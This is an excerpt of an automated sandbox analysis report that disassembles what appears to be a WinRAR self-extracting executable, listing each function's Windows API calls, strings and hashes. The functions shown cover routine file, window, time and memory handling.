Part of subcall function 00B18DA4: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,000000FF,00B10E3F,?,?,?,00000046,00B11ECE,00000046,?,exe,00000046), ref: 00B18DBA

GetWindowLongW.USER32(00000000,000000F0), ref: 00B2380C
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00B23823
GetObjectW.GDI32(00000000,00000018,?), ref: 00B23837
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00B23860
DeleteObject.GDI32(00000000), ref: 00B23867
GetWindow.USER32(00000000,00000002), ref: 00B23870

Strings

STATIC, xrefs: 00B237F6

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: a744a068b85194a2c84be86910d7ce813a316228953d984c644215d18cec9539
Instruction ID: 48769d59e7b571fb858a7daccd67991ba83797dd2454587741e5272150e8a003
Opcode Fuzzy Hash: a744a068b85194a2c84be86910d7ce813a316228953d984c644215d18cec9539
Instruction Fuzzy Hash: 272137722847247BE220AB24BC4AFEF32DCEF45B11F0004A5FA15AB0D1DF349D4547A5

Function 00B2FF11 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B2FF25

Part of subcall function 00B303D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00B33546,?,00000000,?,00000000,?,00B3356D,?,00000007,?,?,00B3396A,?), ref: 00B303EA
Part of subcall function 00B303D4: GetLastError.KERNEL32(?,?,00B33546,?,00000000,?,00000000,?,00B3356D,?,00000007,?,?,00B3396A,?,?), ref: 00B303FC

_free.LIBCMT ref: 00B2FF31
_free.LIBCMT ref: 00B2FF3C
_free.LIBCMT ref: 00B2FF47
_free.LIBCMT ref: 00B2FF52
_free.LIBCMT ref: 00B2FF5D
_free.LIBCMT ref: 00B2FF68
_free.LIBCMT ref: 00B2FF73
_free.LIBCMT ref: 00B2FF7E
_free.LIBCMT ref: 00B2FF8C

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 366ccf24b544c9e917a686055abe02356cd92341f6023f58dfa390e922a0808c
Instruction ID: c9d411833707f61372cb2a8c54f1665fa36488afb793b1ac3c2ca65575c700fc
Opcode Fuzzy Hash: 366ccf24b544c9e917a686055abe02356cd92341f6023f58dfa390e922a0808c
Instruction Fuzzy Hash: 3911A27652414CBFCF01FF94D952CDD7BB9EF08350F6140A1BA089B622DA71EA54DB84

Function 00B29AB1 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00B29BD0
___TypeMatch.LIBVCRUNTIME ref: 00B29CDE
_UnwindNestedFrames.LIBCMT ref: 00B29E30
CallUnexpected.LIBVCRUNTIME ref: 00B29E4B
_abort.LIBCMT ref: 00B29E50

Strings

csm, xrefs: 00B29B5B
csm, xrefs: 00B29C07
csm, xrefs: 00B29AEE

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: 74144ed59dc5e176097c529b3850c62c0e6a41efaa407ab16d859eee778ff2b4
Instruction ID: a5115697f93604c6e375f8c1b4c66d28444ff8972013ee46eeeed8f5c42ec891
Opcode Fuzzy Hash: 74144ed59dc5e176097c529b3850c62c0e6a41efaa407ab16d859eee778ff2b4
Instruction Fuzzy Hash: 2FB16875800229EFCF15EFA4E9819AEBBF5FF08310F1445AAE80C6B212D731DA51DB91

Function 00B0D990 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 268fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0D99A
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 00B0D9BF
GetLongPathNameW.KERNEL32(?,?,?), ref: 00B0DA11
GetShortPathNameW.KERNEL32(?,00000000,00000000), ref: 00B0DA34
GetShortPathNameW.KERNEL32(?,?,?), ref: 00B0DA84
MoveFileW.KERNEL32(-00000040,-00000028), ref: 00B0DC9F
MoveFileW.KERNEL32(-00000028,-00000040), ref: 00B0DCEC

Part of subcall function 00B014A7: _wcslen.LIBCMT ref: 00B014B8

Strings

rtmp, xrefs: 00B0DBB8

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: NamePath$FileLongMoveShort$H_prolog3__wcslen
String ID: rtmp
API String ID: 2388273531-870060881
Opcode ID: c61ca9b210c0a0a66f2e44d2fb913f76864d2f83c6d89c232da87ff477a1b5ef
Instruction ID: fc35128f88d7aa7366dbbf3dceda7e07e874b85eb003624e75e929322f00bf92
Opcode Fuzzy Hash: c61ca9b210c0a0a66f2e44d2fb913f76864d2f83c6d89c232da87ff477a1b5ef
Instruction Fuzzy Hash: C2B11470901258EACF24DBA8CC89BDDBBF9AF15305F5445E9E049B7291DB309B89CF60

Function 00B11E54 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 215COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B11E5B
_wcslen.LIBCMT ref: 00B11E87

Strings

exe, xrefs: 00B11EAB
sfx, xrefs: 00B11ED2
.rar, xrefs: 00B11E81, 00B11E86, 00B11E8E
rar, xrefs: 00B11F2E, 00B11FC9, 00B11FCE, 00B11FD6

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3__wcslen
String ID: .rar$exe$rar$sfx
API String ID: 3251556500-630704357
Opcode ID: e581a54a7712980ad0fe6cc537131b824513734a03ff4710d17f34e2fe935c3f
Instruction ID: 991f3601621e8f0382636aabc66a9af271ec2f1ec5e553d9b1b4c191d9a70efa
Opcode Fuzzy Hash: e581a54a7712980ad0fe6cc537131b824513734a03ff4710d17f34e2fe935c3f
Instruction Fuzzy Hash: E971E431A01714DBCB21DFA8C985AEDB7F4EF48710FA00999F581AB291DB7199D2CB90

Function 00B253D0 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00B104AB,00B104AD,00000000,00000000,5EA84158,00000001,00000000,00000000,?,00B1038C,?,00000004,00B104AB,ROOT\CIMV2), ref: 00B25459
MultiByteToWideChar.KERNEL32(00000000,00000000,00B104AB,?,00000000,00000000,?,?,00B1038C,?,00000004,00B104AB), ref: 00B254D4
SysAllocString.OLEAUT32(00000000), ref: 00B254DF
_com_issue_error.COMSUPP ref: 00B25508
_com_issue_error.COMSUPP ref: 00B25512
GetLastError.KERNEL32(80070057,5EA84158,00000001,00000000,00000000,?,00B1038C,?,00000004,00B104AB,ROOT\CIMV2), ref: 00B25517
_com_issue_error.COMSUPP ref: 00B2552A
GetLastError.KERNEL32(00000000,?,00B1038C,?,00000004,00B104AB,ROOT\CIMV2), ref: 00B25540
_com_issue_error.COMSUPP ref: 00B25553

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: e7517944c7823e7e9ede845b2fb2acb51c90075b14eb1fcb00803143a925f07e
Instruction ID: a8f407b622e6cc989103632738f38b3fe1f7dd7dea46fbd435de91c3d93858ab
Opcode Fuzzy Hash: e7517944c7823e7e9ede845b2fb2acb51c90075b14eb1fcb00803143a925f07e
Instruction Fuzzy Hash: B541FA71A00625ABC720DFA8EC45BAEBBE9EF48710F2042A9F51DE7350DB35D94087A5

Function 00B10469 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B10470

Part of subcall function 00B10360: __EH_prolog3.LIBCMT ref: 00B10367

VariantClear.OLEAUT32(?), ref: 00B105FA

Strings

Windows 10, xrefs: 00B105E2
WQL, xrefs: 00B1051E
Name, xrefs: 00B105D3
SELECT * FROM Win32_OperatingSystem, xrefs: 00B1050C
ROOT\CIMV2, xrefs: 00B1049B

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3$ClearVariant
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 4196654922-3505469590
Opcode ID: 0e2319444d5ca43cab944a72489ebea3cdd818102682decf70b580447799eff2
Instruction ID: 75094786d9c1bc265598d80a9919b4be25dfc6e900ad3a0ba2a63df2225cc6a3
Opcode Fuzzy Hash: 0e2319444d5ca43cab944a72489ebea3cdd818102682decf70b580447799eff2
Instruction Fuzzy Hash: 7B613D71A103199FDB14EFA4DC95AAFBBF9FF48710B544098E512B72A0CB70AD81CB60

Function 00B1E07E Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 174COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B1E085
_wcslen.LIBCMT ref: 00B1E1B7

Strings

, xrefs: 00B1E1AA, 00B1E1B6, 00B1E1BE
<br>, xrefs: 00B1E199
</p>, xrefs: 00B1E183
<style>, xrefs: 00B1E1C8
</style>, xrefs: 00B1E1E5

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3_wcslen
String ID: $</p>$</style>$<br>$<style>
API String ID: 3746244732-3393513139
Opcode ID: 6a8dd59aab9d8091829e9034ef43dc3ee46f068c374b4feccfbaea3f9217a904
Instruction ID: 460b9a86e3c08b8dba0004dbbcbc759f87cb76d2d489b95fd2d22d13fd8a7d62
Opcode Fuzzy Hash: 6a8dd59aab9d8091829e9034ef43dc3ee46f068c374b4feccfbaea3f9217a904
Instruction Fuzzy Hash: 4F510435B40312A6DB309A2488627F672E5EF64741FE800D9FD91BB2C0EB75DDD083A0

Function 00B206D0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B01E44: GetDlgItem.USER32(00000000,00003021), ref: 00B01E88
Part of subcall function 00B01E44: SetWindowTextW.USER32(00000000,00B3C6C8), ref: 00B01E9E

EndDialog.USER32(?,00000001), ref: 00B20720
SendMessageW.USER32(?,00000080,00000001,00070459), ref: 00B20747
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,00050E80), ref: 00B20760
GetDlgItem.USER32(?,00000065), ref: 00B2077C
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00B20790
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00B207A6

Strings

LICENSEDLG, xrefs: 00B206E4

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: MessageSend$Item$DialogTextWindow
String ID: LICENSEDLG
API String ID: 3077722735-2177901306
Opcode ID: 7a8791fb566692b46dce4933a3c3a30a573a7b63b51a2a0204aced5360fb131a
Instruction ID: c87180379f1903f2bf0cadcf9010c90762855140b9d7b2d8dcf24782add25a0a
Opcode Fuzzy Hash: 7a8791fb566692b46dce4933a3c3a30a573a7b63b51a2a0204aced5360fb131a
Instruction Fuzzy Hash: 59219C31399624BBD6116F25BD4DF6B3AEDEB46786F0100C4F605A70A2CFA1AE018B71

Function 00B17818 Relevance: 12.1, APIs: 8, Instructions: 131timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00B1783D

Part of subcall function 00B1067E: GetVersionExW.KERNEL32(?), ref: 00B106AF

FileTimeToLocalFileTime.KERNEL32(000000FF,?,?,000000FF,00000064,00000000,?,00000000), ref: 00B17860
FileTimeToSystemTime.KERNEL32(000000FF,?,?,000000FF,00000064,00000000,?,00000000), ref: 00B17872
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00B17883
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B17893
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B178A3
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00B178DE
__aullrem.LIBCMT ref: 00B17984

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 7b7f6615a1117f65052aaf8fd0d0c6cca3e782f7938086fec3e5753507de55d4
Instruction ID: 3d22f783fe89aae6bd91b4581600ace9a2e4a48ca07d236a3d1287722d2260ac
Opcode Fuzzy Hash: 7b7f6615a1117f65052aaf8fd0d0c6cca3e782f7938086fec3e5753507de55d4
Instruction Fuzzy Hash: 655138B1548305AFD710DF65C8849ABBBF9FB88714F50892EF59AD3210EB34E948CB52

Function 00B10E49 Relevance: 10.7, APIs: 7, Instructions: 197COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B10E50
GetFullPathNameW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,00000030), ref: 00B10E85
GetFullPathNameW.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,00000030), ref: 00B10EC4
_wcslen.LIBCMT ref: 00B10ED4
GetFullPathNameW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,00000030), ref: 00B10F51
GetFullPathNameW.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,00000030), ref: 00B10F93
_wcslen.LIBCMT ref: 00B10FA3

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: FullNamePath$_wcslen$H_prolog3_
String ID:
API String ID: 840513527-0
Opcode ID: d2a9542b71ddc186423ca99079ef72f8698dc5649db9f36baa04a960344a3cda
Instruction ID: 66bd29216669f99bc67c3ae3fe681c00b51eef7f0b5babbbac7dfb09045ca465
Opcode Fuzzy Hash: d2a9542b71ddc186423ca99079ef72f8698dc5649db9f36baa04a960344a3cda
Instruction Fuzzy Hash: 00617C71D10208ABCB14EFA9D985EEEBBF9EF89710F54459AF410E7290DB749980CB60

Function 00B36239 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00B369AE,?,00000000,?,00000000,00000000), ref: 00B3627B
__fassign.LIBCMT ref: 00B362F6
__fassign.LIBCMT ref: 00B36311
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00B36337
WriteFile.KERNEL32(?,?,00000000,00B369AE,00000000,?,?,?,?,?,?,?,?,?,00B369AE,?), ref: 00B36356
WriteFile.KERNEL32(?,?,00000001,00B369AE,00000000,?,?,?,?,?,?,?,?,?,00B369AE,?), ref: 00B3638F

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: bcf1c8deeaef1496b4052245e13b4033a8b14a1f87378dbe17b97a7739538b39
Instruction ID: fad5308aa15a7e32a0bec89df1f40d6d90eaf12a119cbeb548ec4fd16035fa66
Opcode Fuzzy Hash: bcf1c8deeaef1496b4052245e13b4033a8b14a1f87378dbe17b97a7739538b39
Instruction Fuzzy Hash: 4951A571E00249AFDB10CFA8DC85AEEBBF8EF09310F24819AE556E7291D7709D44CB64

Function 00B293C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00B293F7
___except_validate_context_record.LIBVCRUNTIME ref: 00B293FF
_ValidateLocalCookies.LIBCMT ref: 00B29488
__IsNonwritableInCurrentImage.LIBCMT ref: 00B294B3
_ValidateLocalCookies.LIBCMT ref: 00B29508

Strings

csm, xrefs: 00B2949D

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: ba2826427a6fe41d5e363f6108c7045e106b70d73e3629c316000245ea0ea855
Instruction ID: 74142f141c4bc94b07368bb44841a73c6c12a7b487af7b61c18986f793782391
Opcode Fuzzy Hash: ba2826427a6fe41d5e363f6108c7045e106b70d73e3629c316000245ea0ea855
Instruction Fuzzy Hash: D8416334A002289BCF20EF68E885A9E7BF5FF45314F1485D5E82D9B392D731AD06CB91

Function 00B1E265 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B1E26C
ShowWindow.USER32(?,00000000,00000038), ref: 00B1E294
GetWindowRect.USER32(?,?), ref: 00B1E2D8
ShowWindow.USER32(?,00000005,?,00000000), ref: 00B1E373
ShowWindow.USER32(00000000,00000005), ref: 00B1E394

Strings

RarHtmlClassName, xrefs: 00B1E334

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Window$Show$H_prolog3_Rect
String ID: RarHtmlClassName
API String ID: 950582801-1658105358
Opcode ID: 85b0d889337586f6d7598e1800188be9fd97a447837bda1a44a0b3993f45a900
Instruction ID: 9ff1e12f2295805a98be86374fa42ffdb0c878ff285173412e653a67ca8d21e8
Opcode Fuzzy Hash: 85b0d889337586f6d7598e1800188be9fd97a447837bda1a44a0b3993f45a900
Instruction Fuzzy Hash: 4F412571A01204ABDF119FA4EC89BEE7BF9EF48301F544199FD24AB161DB70D981CB64

Function 00B33554 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B33518: _free.LIBCMT ref: 00B33541

_free.LIBCMT ref: 00B335A2

Part of subcall function 00B303D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00B33546,?,00000000,?,00000000,?,00B3356D,?,00000007,?,?,00B3396A,?), ref: 00B303EA
Part of subcall function 00B303D4: GetLastError.KERNEL32(?,?,00B33546,?,00000000,?,00000000,?,00B3356D,?,00000007,?,?,00B3396A,?,?), ref: 00B303FC

_free.LIBCMT ref: 00B335AD
_free.LIBCMT ref: 00B335B8
_free.LIBCMT ref: 00B3360C
_free.LIBCMT ref: 00B33617
_free.LIBCMT ref: 00B33622
_free.LIBCMT ref: 00B3362D

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ab47a35b4bbe4dfe32203c1e62b6aae3bc761e273b4d797f2b7891905fbb6212
Instruction ID: 29275d33563954d4cb89c9e80fef9ca9e095bad6077ecc4a53ade2974619944c
Opcode Fuzzy Hash: ab47a35b4bbe4dfe32203c1e62b6aae3bc761e273b4d797f2b7891905fbb6212
Instruction Fuzzy Hash: 4E114271940B04BBDA30BBB0CC17FCBB7DCAF14B01F514C55B299B6552DA79B6098790

Function 00B24D5F Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00000000,?,00B24DDA,00B24D3D,00B24FDE,?,00000000,?,?,?,?,?,?,00B253A4,00B472EC), ref: 00B24D76
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00B24D8C
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00B24DA1

Strings

AcquireSRWLockExclusive, xrefs: 00B24D86
